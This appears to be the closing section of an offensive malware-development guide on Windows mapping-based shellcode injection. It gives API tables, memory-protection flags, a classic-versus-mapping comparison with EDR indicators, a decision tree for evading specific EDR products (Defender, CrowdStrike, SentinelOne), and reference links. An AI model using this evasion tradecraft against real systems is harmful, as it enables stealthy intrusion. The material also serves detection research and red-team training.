Map RW view (write shellcode)          MapViewOfFile / NtMapViewOfSection(PAGE_READWRITE)
Map RX view (execute shellcode)        MapViewOfFile / NtMapViewOfSection(PAGE_EXECUTE_READ)
Remove write view after copy           UnmapViewOfFile / NtUnmapViewOfSection
Map into remote process (Win32)        MapViewOfFile2 / MapViewOfFile3    KernelBase.dll
Map into remote process (NT)           NtMapViewOfSection                 ntdll.dll
Execute: new thread (simple)           CreateThread / CreateRemoteThread  kernel32.dll
Execute: NT thread                     RtlCreateUserThread                ntdll.dll
Execute: callback (no thread)          EnumSystemLocalesW / CertEnumSystemStore / etc.
Execute: APC (no new thread)           NtQueueApcThread / NtQueueApcThreadEx
Execute: instrumentation callback      NtSetInformationProcess            ntdll.dll
Bypass ntdll hooks (syscalls)          SysWhispers3                       direct

Memory Protection at a Glance

CreateFileMapping flag:
  PAGE_EXECUTE_READ          → views limited to RX (can't make them RW for writing)
  PAGE_EXECUTE_READWRITE     → views can be RW or RX (use this for split-view)
  PAGE_EXECUTE_WRITECOPY     → copy-on-write executable

MapViewOfFile flag for write:  FILE_MAP_WRITE (→ PAGE_READWRITE view)
MapViewOfFile flag for exec:   FILE_MAP_EXECUTE | FILE_MAP_READ (→ PAGE_EXECUTE_READ view)

NtMapViewOfSection Protect param:
  PAGE_READWRITE         → writable, not executable
  PAGE_EXECUTE_READ      → executable, not writable ← what remote process sees
  PAGE_EXECUTE_READWRITE → both (avoid if possible)

Comparison: Classic vs Mapping Injection

CLASSIC:
  VirtualAllocEx   → Memory allocated in remote process
  WriteProcessMemory → Shellcode written across process boundary
  CreateRemoteThread → New thread with entry in allocated memory

  EDR sees:
    Cross-process allocation (VirtualAllocEx) → IOC
    Cross-process write (WriteProcessMemory)  → IOC
    Thread entry in private memory            → IOC

MAPPING:
  NtCreateSection        → Kernel section object created
  NtMapViewOfSection[L]  → Local RW view (write here)
  memcpy                 → Shellcode written locally
  NtMapViewOfSection[R]  → Remote RX view (reflected — no WPM)
  RtlCreateUserThread    → Thread in remote process (softer IOC)

  EDR sees:
    Section creation                          → softer IOC
    Local view mapping                        → legitimate-looking
    Remote view mapping                       → IOC (known pattern now)
    Thread in remote process                  → IOC (same as before)
    → Different PATTERN — bypasses rule-based detection tuned to classic injection

Decision Tree — Which Variant to Use?

Target environment?
│
├─ CTF / Lab (no AV/EDR):
│    → T1 (CreateFileMapping + MapViewOfFile + CreateThread) — fastest
│
├─ Windows Defender only:
│    → T4 (NTAPI split view) + T5 (callback instead of CreateThread)
│    → Encryption on shellcode bytes
│
├─ Defender ATP / MDE:
│    → T4 + T5 + SysWhispers3 (direct syscalls)
│    → Dynamic API resolution (no import table strings)
│    → Use rare callback API (CryptEnumOIDInfo, ImmEnumInputContext)
│
├─ CrowdStrike Falcon:
│    → T5 or T6 (callback/APC execution) + direct syscalls
│    → NtMapViewOfSectionEx path (MapViewOfFile3) — less telemetry
│    → Module-backed shellcode if possible (dll hollowing + section)
│
├─ SentinelOne:
│    → T10 (instrumentation callback variant)
│    → Direct syscalls for all NT calls
│    → APC execution (NtQueueApcThreadEx special user APC)
│
├─ Custom C2 development:
│    → T9 (NtMapViewOfSection remote, RW+RX) as injection primitive
│    → T5 (callback execution) for local execution
│    → Rotate techniques per-campaign
│    → Integrate with sleep encryption (decrypt → map → execute → encrypt)
│
└─ Maximum OPSEC:
     → NtCreateSection + NtMapViewOfSection (RW+RX split)
     + Unmap write view after copy
     + SysWhispers3 direct syscalls for all NT calls
     + CertEnumSystemStore or NtQueueApcThreadEx for execution
     + AES-encrypted shellcode (decrypt at last moment into RW view)
     + Named pipe or network staging (shellcode never on disk)

References & Resources

Primary Implementations: - antonioCoco/Mapping-Injection — https://github.com/antonioCoco/Mapping-Injection (definitive PoC) - Weaponizing Mapping Injection — https://splintercod3.blogspot.com/p/weaponizing-mapping-injection-with.html (instrumentation callback variant) - TrustedSec — Mapped Sections — https://trustedsec.com/blog/malware-series-process-injection-mapped-sections

MSDN / Official Documentation: - CreateFileMapping — https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createfilemappinga - MapViewOfFile — https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-mapviewoffile - MapViewOfFile2 — https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-mapviewoffile2 - MapViewOfFile3 — https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-mapviewoffile3 - Section Objects and Views — https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/section-objects-and-views

Research & Further Reading: - ired.team NtCreateSection+NtMapViewOfSection — https://www.ired.team/offensive-security/code-injection-process-injection/ntcreatesection-+-ntmapviewofsection-code-injection - Cobalt Strike process injection details — https://www.cobaltstrike.com/blog/cobalt-strikes-process-injection-the-details-cobalt-strike - NTAPI Undocumented Functions — http://undocumented.ntinternals.net/ - MappingInjection C# port — https://github.com/Kara-4search/MappingInjection_CSharp - ProcessInjectionTechniques labs — https://offensive-panda.github.io/ProcessInjectionTechniques/

Tools: - SysWhispers3 — https://github.com/klezVirus/SysWhispers3 (direct syscall codegen) - Moneta — https://github.com/forrest-orr/moneta (mapped section IOC scanner) - Pe-Sieve — https://github.com/hasherezade/pe-sieve (process memory scanner) - ThreatCheck — https://github.com/rasta-mouse/ThreatCheck (AV trigger finder) - Hell's Gate — https://github.com/am0nsec/HellsGate (dynamic syscall resolution)


← Malware development top ↑